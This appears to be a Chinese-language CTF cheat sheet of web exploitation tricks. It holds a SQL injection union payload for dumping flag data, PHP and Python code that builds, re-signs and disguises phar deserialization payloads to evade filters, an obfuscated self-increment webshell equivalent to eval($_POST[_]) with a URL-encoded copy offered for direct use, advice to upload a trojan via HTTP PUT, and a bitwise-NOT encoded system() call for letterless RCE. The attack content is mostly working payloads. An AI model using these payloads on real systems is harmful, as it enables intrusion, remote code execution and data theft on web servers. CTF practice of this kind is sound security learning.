mid字符串指针控制

在sql注入时,如果最后dump flag的长度被限制,可以用mid函数控制输出指针,比如下面这句payload

-1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23

修改mid的值就行

phar反序化

这里存一段phar反序化的初始化代码(更多内容可以看这里

<?php
    class example {}
    $o = new example();

    @unlink("example.phar");//这行可有可无
    $phar = new Phar("example.phar"); //后缀必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件
    $phar->stopBuffering();//签名自动计算
?>

由于phar在存储时使用的是序列化后的数据,因此在使用phar://伪协议读取phar文件时会自动执行反序化函数,就能达到反序化的目的。并且phar文件是无所谓后缀的,只要数据流本质是压缩文件即可,可以随意更改为png等不易被waf干掉的后缀

补充一点,生成后的phar文件由meta-data、meta-data签名(默认是sha1,20字节)和签名格式(8字节)组成。如果碰到_wakeup魔术方法需要绕过,要改phar内容,就要对修改过的phar文件进行重新签名,否则会无法执行,下面是重新签名的示例

from hashlib import sha1
import gzip
 
file = open('phar.phar', 'rb').read()
#data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup
data = file[:-28]#要签名的部分是文件头到meta-data的数据。
 
final = file[-8:]#签名格式
 
newfile = data+sha1(data).digest()+final
 
open('newpoc.phar', 'wb').write(newfile)

#生成新文件后如果还碰到__HALT_COMPILER();过滤,可以用gzip压缩使其消失
newf = gzip.compress(newfile)
with open(r'2.jpg', 'wb') as file: #更改文件后缀
     file.write(newf)

自增绕过

当过滤了异或和取反,可以用自增绕过

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

相当于传入了

eval(@_POST[_]);

使用的时候需要进行urlencode complete

详细分析可以看这里

这里还有一个用到字符数更少的版本

$_=[].'_'; //空数组拼接一个字符,会将空数组变成字符串Array
$__=$_[1];//$__是r
$_=$_[0];//$_这时是A
$_++;//$_这时是B,每++一次就是下一个字母
$_++;//C
$_0=$_;//把c给$_0
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_0.++$_.$__;//$_=CHr
$_='_'.$_(71).$_(69).$_(84);//$_='_'.CHR(71).CHR(69).CHR(84) -> $_=_GET
//$$_[1]($$_[2]);//$_GET[1]($_GET[2])
echo $_;
#_GET

附上url编码后的,方便直接用

$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b

PUT方法

碰到了一个完全空的页面,只有下面一行代码

<?php highlight_file(__FILE__);// Welcome to NSSCTF Round#1 Basic, have fun.

显然这个页面是没法利用的,扫目录也没扫出东西,就只能从中间件下手

curl后发现允许PUT方法

PUT方法一旦被允许,就能直接往目标机里丢内容了,直接上木马就行

url编码+取反

今天碰到一个这样的过滤

不用想肯定又是无字母RCE,但是怎么绕过呢?可以发现~没被过滤,所以推测使用取反

<?php
$a = "system";
$b = "ls";
echo urlencode(~$a);
print("\n");
echo urlencode(~$b);
?>

把输出出来的东西用括号括起来传就行,最终payload如下

?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);